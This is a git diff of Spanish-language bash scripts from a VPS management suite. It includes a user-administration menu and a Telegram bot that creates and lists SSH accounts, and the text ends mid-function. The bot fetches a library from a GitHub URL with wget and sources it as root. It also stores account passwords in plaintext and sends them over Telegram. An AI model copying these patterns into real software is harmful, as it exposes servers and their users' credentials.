+msg -tit
+msg -ama "         ELIMINANDO  BANNER SSH/SSL/DROPBEAR"
+msg -bar
+sed -i '/'Banner'/d' /etc/ssh/sshd_config
+sed -i -e 's/^[ \t]*//; s/[ \t]*$//; /^$/d' /etc/ssh/sshd_config
+echo "" >> /etc/ssh/sshd_config
+rm -rf  /etc/dropbear/banner > /dev/null 2>&1
+echo "" > /etc/dropbear/banner  > /dev/null 2>&1
+service dropbear stop 2>/dev/null
+service ssh restart 2>/dev/null
+service dropbear restart 2>/dev/null
+echo -e "\033[1;92m            BANNER ELIMINADO !! EXITO ¡¡ "
+msg -bar
+}
+clear
+clear
+msg -bar
+msg -tit
+msg -ama "         AGREGAR BANNER SSH/SSL/DROPBEAR"
+msg -bar
+echo -e "${cor[1]}            Escoja la opcion deseada."
+msg -bar
+echo -e "\033[1;92m 1).- \033[1;37m AGREGAR BANNER SSH/SSL/DROPBEAR "
+echo -e "\033[1;92m 2).- \033[1;37m ELIMINAR Y DESACTIVAR BANNER   "
+msg -bar
+echo -ne "\033[1;37mDigite solo el numero segun su respuesta: \033[1;32m"
+read opcao
+case $opcao in
+1)
+msg -bar
+banner_on
+;;
+2)
+msg -bar
+banner_off
+;;
+esac
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+
+desbloqueo_auto () {
+while true; do
+Desbloqueo.sh 2>/dev/null
+tiemdes="$(less /etc/VPS-MX/controlador/tiemdes.log)"
+sleep $tiemdes
+    done
+}
+
+rec_total () {
+clear
+clear
+msg -bar
+msg -tit
+echo -e "\033[1;32m  REGISTRO TOTAL DE CUENTAS VIEJAS Y NUEVAS"
+msg -bar
+cat /etc/VPS-MX/VPS-MXuser
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+}
+# LIMITADOR AUTO
+if [[ "$1" = "verificar" ]]; then
+verif_fun
+exit
+fi
+[[ -z ${VERY} ]] && verificar="\033[1;31m[DESACTIVADO]" || verificar="\033[1;32m[ACTIVO]"
+
+# DESBLOQUEO AUTO
+if [[ "$1" = "desbloqueo" ]]; then
+desbloqueo_auto
+exit
+fi
+[[ -z ${VERY2} ]] && desbloqueo="\033[1;31m[DESACTIVADO]" || desbloqueo="\033[1;32m[ACTIVO]"
+msg -tit
+msg -ama "  MENU ADMINISTRACION DE USUARIOS SSL/SSH/DROPBEAR"
+msg -bar
+msg -bar3
+menu_func "CREAR NUEVO USUARIO" "CREAR USUARIO TEMPORAL" "REMOVER USUARIO" "BLOQUEAR O DESBLOQUEAR USUARIO" "REINICIAR CONTADOR DE BLOQUEADOS y EXPIRADOS" "EDITAR USUARIO" "RENOVAR USUARIO" "DETALLES DE TODOS USUARIOS" "MONITOR DE USUARIOS CONECTADOS" "ELIMINAR USUARIOS VENCIDOS" "BACKUP USUARIOS" "AGREGAR/ELIMINAR BANNER " "\033[1;31m⚠️ELIMINAR TODOS LOS USUARIOS⚠️ \n" " -fi ${verificar} \033[1;97m🔒 LIMITADOR-DE-CUENTAS 🔒 -" " -fi ${desbloqueo} \033[1;97m🔓 DESBLOQUEO-AUTOMATICO 🔓 -" "\033[1;92mLOG DE CUENTAS REGISTRADAS" "LIMPIAR LOG DE LIMITADOR"
+[[ -e "${SCPusr}/Limiter2.log" ]] && echo -ne "$(msg -verd "  [18]") $(msg -verm2 "==>") " &&  msg -azu "$(fun_trans "\033[1;93mVER LOG DE LIMITADOR")" 
+echo -ne ""$(msg -bar)"   \n$(msg -verd "  [0]") $(msg -verm2 "==>")" &&  msg -bra  "  \e[97m\033[1;41m VOLVER \033[1;37m"
+msg -bar
+selection=$(selection_fun 18)
+case ${selection} in
+1)new_user;;
+2)${SCPdir2}/Crear-Demo.sh "${idioma}";;
+3)remove_user;;
+4)block_user;;
+5)reset_contador;;
+6)edit_user;;
+7)renew_user;;
+8)detail_user;;
+9)monit_user;;
+10)rm_vencidos;;
+11)backup_fun;;
+12)baner_fun;;
+13)eliminar_all;;
+14)verif_funx;;
+15)verif2_funx;;
+16)rec_total;;
+17)
+rm -rf ${SCPusr}/Limiter2.log
+echo -e "\033[1;32m  LOG ELIMINADO CON EXITO"
+msg -bar
+msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+;;
+18)
+clear 
+clear
+msg -bar
+sed -i -e 's/^[ \t]*//; s/[ \t]*$//; /^$/d' /etc/VPS-MX/controlador/Limiter2.log
+[[ -e "${SCPusr}/Limiter2.log" ]] && {
+msg -tit
+msg -ama "              REGISTRO DEL LIMITADOR "
+ cat ${SCPusr}/Limiter2.log
+ msg -bar
+ }
+ msg -ne " Enter Para Continuar" && read enter
+${SCPusr}/usercodes
+;;
+esac

+ 1293 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/ADMbot.sh

@@ -0,0 +1,1293 @@
+#!/bin/bash
+#26/01/2021
+clear
+clear
+# DIRECCIONES DE CARPETAS Y ARCHIVOS 
+
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma}
+mkdir -p /etc/BOT &>/dev/null
+mkdir -p /etc/BOT-C &>/dev/null
+mkdir -p /etc/BOT-A &>/dev/null
+mkdir -p /etc/BOT-GEN &>/dev/null
+mkdir -p /etc/BOT-C2 &>/dev/null
+mkdir -p /etc/BOT-TEMP &>/dev/null
+USRdatacredi="/etc/BOT-C2/creditos"
+
+##### SERVIDOR TELEGRAM PERSONAL
+[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null
+[[ ! -e "/bin/ShellBot.sh" ]] && wget -O /bin/ShellBot.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/ShellBot.sh &> /dev/null
+[[ -e /etc/texto-bot ]] && rm /etc/texto-bot
+
+##### VERIFICANDO  PAQUETES PRIMARIOS
+
+[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null
+[[ $(dpkg --get-selections|grep -w "vnstat"|head -1) ]] || apt-get install vnstat -y &>/dev/null
+[[ $(dpkg --get-selections|grep -w "vnstati"|head -1) ]] || apt-get install vnstati -y &>/dev/null
+[[ $(dpkg --get-selections|grep -w "nmap"|head -1) ]] || apt-get install nmap -y &>/dev/null
+
+## INGRESO DE TOKEN BOT
+clear
+msg -bar
+msg -tit
+msg -ama "      ## BOT DE GESTION | VPS-MX By @Kalix1 ## \033[1;31m"
+msg -bar
+if [[ $1 = "id" || -z $(ps aux |grep -v grep |grep -w "ADMbot.sh"|grep dmS|awk '{print $2}') ]]; then
+[[ -z $2 ]] && echo -ne "\033[1;96m #Digite el Token del BOT\033[0;92m\nTOKEN: \033[0;97m" && read TOKEN || TOKEN="$2"
+[[ -z "$TOKEN" ]] && exit 1 #SEM TOKEN, SEM BOT
+IDIOMA="$(cat ${SCPidioma})" && [[ -z $IDIOMA ]] && IDIOMA="es" #ARGUMENTO 2 (IDIOMA)
+[[ -z $3 ]] && echo -ne "\033[1;96m #Digite un nombre para su Usuario\033[0;92m \nUSUARIO: \033[0;97m" && read USERLIB || USERLIB="$3"
+[[ -z "$USERLIB" ]] && exit 1 #USUARIO
+[[ -z $4 ]] && echo -ne "\033[1;96m #Digite una contraseña para su Usuario\033[0;92m \nCONTRASEÑA: \033[0;97m" && read PASSLIB || PASSLIB="$4"
+[[ -z "$PASSLIB" ]] && exit 1 #SENHA
+[[ -z $2 ]] && [[ -z $3 ]] && [[ -z $4 ]] && {
+screen -dmS telebot ${SCPfrm}/ADMbot.sh id "$TOKEN" "$USERLIB" "$PASSLIB"
+msg -bar
+echo -e "\033[1;92m                BOT INICIADO CON EXCITO"
+msg -bar
+exit 0
+}
+else
+kill -9 $(ps aux |grep -v grep |grep -w "ADMbot.sh"|grep dmS|awk '{print $2}') && echo -e "\033[1;91m                BOT DETENIDO CON EXCITO"
+msg -bar
+exit 0
+fi
+LINE='━━━━━━━━━━━━━━━━━━━━'
+USRdatabase="/etc/VPS-MX/VPS-MXuser"
+#IMPORTANDO API
+source ShellBot.sh
+ShellBot.init --token "$TOKEN"
+ShellBot.username
+# SUPRIME ERROS
+exec 2>/dev/null
+# SISTEMA DE PIDS
+dropbear_pids () {
+unset pids
+port_dropbear=`ps aux | grep dropbear | awk NR==1 | awk '{print $17;}'`
+log=/var/log/auth.log
+loginsukses='Password auth succeeded'
+[[ -z $port_dropbear ]] && return 1
+for port in `echo $port_dropbear`; do
+ for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do
+  pids="${pids}$pidx\n"
+ done
+done
+for pid in `echo -e "$pids"`; do
+  pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'`
+  i=0
+    for pidend in $pidlogs; do
+    let i++
+    done
+    if [[ $pidend ]]; then
+    login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses")
+    PID=$pid
+    user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"`
+    waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}')
+    [[ -z $user ]] && continue
+    echo "$user|$PID|$waktu"
+    fi
+done
+}
+openvpn_pids () {
+#nome|#loguin|#rcv|#snd|#time
+  byte () {
+   while read B dummy; do
+   [[ "$B" -lt 1024 ]] && echo "${B} bytes" && break
+   KB=$(((B+512)/1024))
+   [[ "$KB" -lt 1024 ]] && echo "${KB} Kb" && break
+   MB=$(((KB+512)/1024))
+   [[ "$MB" -lt 1024 ]] && echo "${MB} Mb" && break
+   GB=$(((MB+512)/1024))
+   [[ "$GB" -lt 1024 ]] && echo "${GB} Gb" && break
+   echo $(((GB+512)/1024)) terabytes
+   done
+   }
+for user in $(mostrar_usuarios); do
+[[ ! $(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log) ]] && continue
+i=0
+unset RECIVED
+unset SEND
+unset HOUR
+ while read line; do
+ IDLOCAL=$(echo ${line}|cut -d',' -f2)
+ RECIVED+="$(echo ${line}|cut -d',' -f3)+"
+ SEND+="$(echo ${line}|cut -d',' -f4)+"
+ DATESEC=$(date +%s --date="$(echo ${line}|cut -d',' -f5|cut -d' ' -f1,2,3,4)")
+ TIMEON="$(($(date +%s)-${DATESEC}))"
+  MIN=$(($TIMEON/60)) && SEC=$(($TIMEON-$MIN*60)) && HOR=$(($MIN/60)) && MIN=$(($MIN-$HOR*60))
+  HOUR+="${HOR}h:${MIN}m:${SEC}s\n"
+  let i++
+ done <<< "$(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log)"
+RECIVED=$(echo $(echo ${RECIVED}0|bc)|byte)
+SEND=$(echo $(echo ${SEND}0|bc)|byte)
+HOUR=$(echo -e $HOUR|sort -n|tail -1)
+echo -e "$user|$i|$RECIVED|$SEND|$HOUR"
+done
+}
+# ADICIONA USUARIO
+add_user () {
+#nome senha Dias limite
+[[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
+valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
+useradd -M -s /bin/false $1 -e ${valid} > /dev/null 2>&1 || return 1
+(echo $2; echo $2)|passwd $1 2>/dev/null || {
+    userdel --force $1
+    return 1
+    }
+[[ -e ${USRdatabase} ]] && {
+   newbase=$(cat ${USRdatabase}|grep -w -v "$1")
+   echo "$1|$2|${datexp}|$4" > ${USRdatabase}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRdatabase}
+   done
+   } || echo "$1|$2|${datexp}|$4" > ${USRdatabase}
+}
+# REMOVER USUARIO
+rm_user () {
+#nome
+userdel --force "$1" &>/dev/null || return 1
+[[ -e ${USRdatabase} ]] && {
+   newbase=$(cat ${USRdatabase}|grep -w -v "$1")
+   rm ${USRdatabase} && touch ${USRdatabase}
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRdatabase}
+   done
+   }
+}
+# LISTA OS USUARIOS CADASTRADOS
+mostrar_usuarios () {
+for u in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do
+echo "$u"
+done
+}
+# DEFINE UM IP
+meu_ip () {
+if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
+echo "$(cat /etc/VPS-MX/MEUIPvps)"
+else
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
+echo "$MEU_IP" > /etc/VPS-MX/MEUIPvps
+fi
+}
+# USUARIO BLOCK
+blockfun () {
+local bot_retorno="$LINE\n"
+          bot_retorno+="--❌ USTED NO PUEDE USAR EL BOT ❌--\n"
+          bot_retorno+="$LINE\n"
+          bot_retorno+="_--Si eres ADMIN introduse tus credenciales--_\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+	return 0
+}
+# SISTEMA DE LOGUIN
+ativarid_fun () {
+if [[ ! -z $LIBERADOS ]] && [[ $(echo ${LIBERADOS}|grep -w "$3") ]]; then
+local bot_retorno+="$LINE\n"
+          bot_retorno+="- - 🔰 ACESSO DE ADMIN LIBERADO 🔰 - - \n"
+          bot_retorno+="$LINE\n"
+          bot_retorno+="✌️ Usted ya Puede usar el Bot\n"
+          bot_retorno+="👉 Dele Buen Uso\n"
+		  bot_retorno+="⚙️ Comando Principal: * /menu *\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+elif [[ $1 = ${USERLIB} ]] && [[ $2 = ${PASSLIB} ]]; then
+[[ -z $LIBERADOS ]] && LIBERADOS="${3}" || LIBERADOS="${LIBERADOS} ${3}"
+local bot_retorno+="$LINE\n"
+          bot_retorno+="- - 🔰 ACESSO DE ADMIN LIBERADO 🔰 - - \n"
+          bot_retorno+="$LINE\n"
+          bot_retorno+="✌️ Usted ya Puede usar el Bot\n"
+          bot_retorno+="👉 Dele Buen Uso\n"
+		  bot_retorno+="⚙️ Comando Principal: * /menu *\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+else
+local bot_retorno+="$LINE\n"
+          bot_retorno+="--❌ ERROR DE CREDENCIALES ADMIN ❌--\n"
+          bot_retorno+="$LINE\n"
+          bot_retorno+="_Acesso de ADMIN Negado_\n"
+          bot_retorno+="_Usuario/Contraseña Erroneos_\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+fi
+}
+loguin_fun () {
+local bot_retorno+="$LINE\n"
+          bot_retorno+="USUARIOS CON ACCESO AL ADMIN\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+for lines in $(echo $LIBERADOS); do
+local bot_retorno+="$LINE\n"
+          bot_retorno2+="$Usuario ID: $lines\n"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno2)" \
+							--parse_mode markdown
+done
+return 0
+}
+# INFORMAÇÕES DA VPS
+infovps () {
+mine_port () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+i=0
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e ${portas}|grep "$var1|$var2")" ]] || {
+    portas+="$var1|$var2\n"
+    let i++
+    }
+done <<< "$portas_var"
+echo -e $portas
+}
+local bot_retorno="$LINE\n"
+          bot_retorno+="*Puertos y Protocolos Activos*\n"
+          bot_retorno+="$LINE\n"
+          bot_retorno+="*IP:* $(meu_ip)\n"
+          while read line; do
+          local serv=$(echo $line|cut -d'|' -f1)
+          local port=$(echo $line|cut -d'|' -f2)
+          bot_retorno+="*Servicio:* ${serv} *Puerto:* ${port}\n"
+          done <<< "$(mine_port)"
+          bot_retorno+="$LINE\n"
+	      ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+	return 0
+}
+# AJUDA
+ajuda_fun () {
+
+#MONITOR UDP
+on=" [ ACTIVADO ] " && off=" [ DESACTIVADO ] "
+[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off
+
+#CUENTAS REGISTRADAS SSH
+SSHN="$(grep -c home /etc/passwd)"
+SSH2="$(echo ${SSHN}|bc)-2"
+echo "${SSH2}"|bc > /etc/BOT-A/SSH20.log
+SSH3="$(less /etc/BOT-A/SSH20.log)"
+SSH4="$(echo $SSH3)"
+#ONLINES
+ONLINES="$(less /etc/VPS-MX/USRonlines)"
+##DEMOS REGISTRADOS
+demo=`cd /etc/BOT-TEMP && ls | wc -l`
+cd
+##DEMOS RESTANTES 
+demo2="10-$(echo ${demo}|bc)+0"
+echo "${demo2}"|bc > /etc/BOT-A/SSH-DEMO.log
+demo3="$(less /etc/BOT-A/SSH-DEMO.log)"
+demor="$(echo $demo3)"
+
+local bot_retorno="*$LINE*\n"
+         bot_retorno+="*🔰 MANAGER VPS-MX 2.0 🔰*\n"
+         bot_retorno+="$LINE\n"
+		 bot_retorno+="_▪️ SSH REGISTRADAS:_ ( *$SSH4* )\n"	
+         bot_retorno+="_▪️ CONECTADOS:_ ( *$ONLINES* )\n"
+		 bot_retorno+="_▪️ BADVPN:_ 🎮 *$badvpn* \n"
+		 bot_retorno+="$LINE\n"
+         bot_retorno+=" _COMANDOS DISPONIBLES _\n"
+		 bot_retorno+="----------------------------------\n"
+         bot_retorno+="/agregar -->> Agregar Usuario\n"
+         [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && bot_retorno+="/openadd ($(fun_trans "crear archivo openvpn"))\n"
+         bot_retorno+="/eliminar -->> Remover Usuario\n"
+		 bot_retorno+="/renovar -->> Renovar Cuenta\n"
+         bot_retorno+="/usuarios -->> Info de Usuarios\n"
+		 bot_retorno+="/verbloqueados -->> Usuarios Bloqueados\n"
+		 bot_retorno+="/bloquear -->> Bloquear Usuario\n"
+		 bot_retorno+="/desbloquear -->> Desbloquear Usuario\n"
+		 bot_retorno+="/online -->> Usuarios Online\n"
+         bot_retorno+="/infovps -->> Info de Servidor\n"
+		 bot_retorno+="$LINE\n"
+         bot_retorno+=" _ HERRAMIENTAS _\n"
+		 bot_retorno+="----------------------------------\n"
+		 bot_retorno+="/lang -->> Traducir texto\n"
+         bot_retorno+="/scan -->> Scan de Subdominios\n"
+         bot_retorno+="/gerar -->> Cod y Dec Texto\n"
+		 bot_retorno+="/sshi -->> Info de cuenta SSH\n"
+		 bot_retorno+="/admins -->> ADMIN's con Acceso\n"
+		 bot_retorno+="$LINE\n"
+         bot_retorno+="/ADMIN -->> Liberar el BOT\n"
+         bot_retorno+="$LINE\n"
+	     ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+	return 0	
+}
+info_fun () {
+if [[ ! -e "${USRdatabase}" ]]; then
+local bot_retorno="$LINE\n"
+          bot_retorno="No se ha identificado una base de datos con los usuarios\n"
+          bot_retorno="Los Usuarios a Seguir No contiene Ninguna Informacion\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+else
+VPSsec=$(date +%s)
+local bot_retorno="$LINE\n"
+         bot_retorno+="* Cuentas SSH Registradas* \n"
+         bot_retorno+="$LINE\n"
+         ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+         for user in $(mostrar_usuarios); do
+             sen=$(cat ${USRdatabase}|grep -w "$user"|cut -d '|' -f2)
+             [[ -z $sen ]] && sen="???"
+             DateExp="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f3)"
+             if [[ ! -z $DateExp ]]; then             
+             DataSec=$(date +%s --date="$DateExp")
+             [[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="${red}[Exp]" || EXPTIME="${gren}[$(($(($DataSec - $VPSsec)) / 86400))]"
+             else
+             EXPTIME="???"
+             fi
+             limit=$(cat ${USRdatabase}|grep -w "$user"|cut -d '|' -f4)
+             [[ -z $limit ]] && limit="???"
+             bot_retorno="$LINE\n"       
+             bot_retorno+="$(fun_trans "Usuario"): $user\n"
+             bot_retorno+="$(fun_trans "Contraseña"): $sen\n"
+             bot_retorno+="$(fun_trans "Dias Restantes"): $EXPTIME\n"
+             bot_retorno+="$(fun_trans "Limite"): $limit\n"
+             bot_retorno+="$LINE\n"
+             ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+         done
+fi
+return 0
+}
+online_fun () {
+MyTIME="${SCPusr}/time-vps-mx"
+[[ -e ${MyTIME} ]] && source ${MyTIME} || touch ${MyTIME}
+local bot_retorno="$LINE\n"
+         bot_retorno+="$* Monitor de Usuarios* \n"
+         bot_retorno+="$LINE\n"
+while read user; do
+PID="0+"
+[[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps -u $user|grep sshd|wc -l)+"
+[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "${user}"|wc -l)+"
+[[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+"
+PID+="0"
+[[ $(echo $PID|bc) = 0 ]] && continue
+TIMEON="${TIMEUS[$user]}"
+[[ -z $TIMEON ]] && TIMEON=0
+MIN=$(($TIMEON/60))
+SEC=$(($TIMEON-$MIN*60))
+HOR=$(($MIN/60))
+MIN=$(($MIN-$HOR*60))
+HOUR="${HOR}h:${MIN}m:${SEC}s"
+[[ -z $(cat ${USRdatabase}|grep -w "${user}") ]] && MAXPID="?" || MAXPID="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)"
+TOTALPID="$(echo $PID|bc)/$MAXPID"
+local IMPRIME="YES"
+local bot_retorno+="$LINE\n"
+          bot_retorno="$(fun_trans "Usuario"): $user\n"
+          bot_retorno+="$(fun_trans "Conexiones"): $TOTALPID\n"
+          bot_retorno+="$(fun_trans "Tiempo Total"): $HOUR\n"
+          bot_retorno+="$LINE\n"
+         ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+done <<< "$(mostrar_usuarios)"
+[[ -z $IMPRIME ]] && {
+ local bot_retorno="$LINE\n"
+          bot_retorno+="$(fun_trans "No hay usuarios en linea")\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+ return 0
+ }
+}
+useradd_fun () {
+error_fun () {
+local bot_retorno="$LINE\n"
+         bot_retorno+=" -->>> MODO DE USO\n"
+         bot_retorno+="$LINE\n"
+         bot_retorno+="agregar Usuario Contraseña Dias Limite\n"
+         bot_retorno+="Ejemplo:\n"
+         bot_retorno+='agregar admin admin 30 1\n'
+         bot_retorno+="$LINE\n"
+         case $1 in
+         [1-3]|14)
+         [[ $1 = 1 ]] && bot_retorno+="$(fun_trans "Usuario Nulo")" && bot_retorno+="$LINE\n"
+         [[ $1 = 2 ]] && bot_retorno+="$(fun_trans "Usuario Con Nombre Muy Corto")" && bot_retorno+="$LINE\n"
+         [[ $1 = 3 ]] && bot_retorno+="$(fun_trans "Usuario Con Nombre Muy Grande")" && bot_retorno+="$LINE\n"
+         [[ $1 = 14 ]] && bot_retorno+="$(fun_trans "Usuario ya Existe")" && bot_retorno+="$LINE\n"
+         ;;
+         [4-6])
+         [[ $1 = 4 ]] && bot_retorno+="$(fun_trans "Contraseña Nula")" && bot_retorno+="$LINE\n"
+         [[ $1 = 5 ]] && bot_retorno+="$(fun_trans "Contraseña Muy Corta")" && bot_retorno+="$LINE\n"
+         [[ $1 = 6 ]] && bot_retorno+="$(fun_trans "Contraseña Muy Grande")" && bot_retorno+="$LINE\n"
+         ;;
+         [7-9])
+         [[ $1 = 7 ]] && bot_retorno+="$(fun_trans "Duracion Nula")" && bot_retorno+="$LINE\n"
+         [[ $1 = 8 ]] && bot_retorno+="$(fun_trans "Duracion invalida utilize numeros")" && bot_retorno+="$LINE\n"
+         [[ $1 = 9 ]] && bot_retorno+="$(fun_trans "Duracion maxima de un año")" && bot_retorno+="$LINE\n"
+         ;;
+         1[1-3])
+         [[ $1 = 11 ]] && bot_retorno+="$(fun_trans "Limite Nulo")" && bot_retorno+="$LINE\n"
+         [[ $1 = 12 ]] && bot_retorno+="$(fun_trans "Limite invalido utilize numeros")" && bot_retorno+="$LINE\n"
+         [[ $1 = 13 ]] && bot_retorno+="$(fun_trans "Limite maximo de 999")" && bot_retorno+="$LINE\n"
+         ;;
+         esac
+         ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+}
+     usuarios_ativos=($(mostrar_usuarios))
+     [[ -z "$1" ]] && error_fun && return 0
+     [[ -z "$2" ]] && error_fun && return 0
+     [[ -z "$3" ]] && error_fun && return 0
+     [[ -z "$4" ]] && error_fun && return 0
+     if [[ -z $1 ]]; then
+     error_fun 1 && return 0
+     elif [[ "${#1}" -lt "4" ]]; then
+     error_fun 2 && return 0
+     elif [[ "${#1}" -gt "24" ]]; then
+     error_fun 3 && return 0
+     elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$1")" ]]; then
+     error_fun 14 && return 0
+     fi    
+     if [[ -z $2 ]]; then
+     error_fun 4 && return 0
+     elif [[ "${#2}" -lt "6" ]]; then
+     error_fun 5 && return 0
+     elif [[ "${#2}" -gt "20" ]]; then
+     error_fun 6 && return 0
+     fi
+     if [[ -z "$3" ]]; then
+     error_fun 7 && return 0
+     elif [[ "$3" != +([0-9]) ]]; then
+     error_fun 8 && return 0
+     elif [[ "$3" -gt "360" ]]; then
+     error_fun 9 && return 0
+     fi
+     if [[ -z "$4" ]]; then
+     error_fun 11 && return 0
+     elif [[ "$4" != +([0-9]) ]]; then
+     error_fun 12 && return 0
+     elif [[ "$4" -gt "999" ]]; then
+     error_fun 13 && return 0
+     fi
+     add_user "$1" "$2" "$3" "$4"
+     if [[ "$?" = "1" ]]; then
+     local bot_retorno="$LINE\n"
+              bot_retorno+="$(fun_trans "Usuario No Fue Creado")\n"
+              bot_retorno+="$LINE\n"
+              ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+      return 0
+      else
+      local bot_retorno="$LINE\n"
+               bot_retorno+="CUENTA CREADA\n"
+			   bot_retorno+="$LINE\n"
+               bot_retorno+="Usuario: $1\n"
+               bot_retorno+="Contraseña: $2\n"
+               bot_retorno+="Duracion: $3 Dias\n"
+               bot_retorno+="Limite: $4 Logeo\n"
+               bot_retorno+="$LINE\n"
+               ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+        return 0
+        fi
+}
+userdell_fun () {
+error_fun () {
+local bot_retorno="$LINE\n"
+         bot_retorno+=" -->>> MODO DE USO\n"
+         bot_retorno+="$LINE\n"
+         bot_retorno+="eliminar Usuario\n"
+         bot_retorno+="Ejemplo:\n"
+         bot_retorno+='eliminar admin\n'
+         bot_retorno+="$LINE\n"
+	     ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+}
+[[ -z "$1" ]] && error_fun && return 0
+rm_user "$1" && {
+local bot_retorno="$LINE\n"
+          bot_retorno+="$Removido Con Exito\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+} || {
+local bot_retorno="$LINE\n"
+          bot_retorno+="Usuario No Removido\n"
+          bot_retorno+="$LINE\n"
+          ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+							--text "$(echo -e $bot_retorno)" \
+							--parse_mode markdown
+return 0
+ }
+}
+paygen_fun () {
+gerar_pays () {
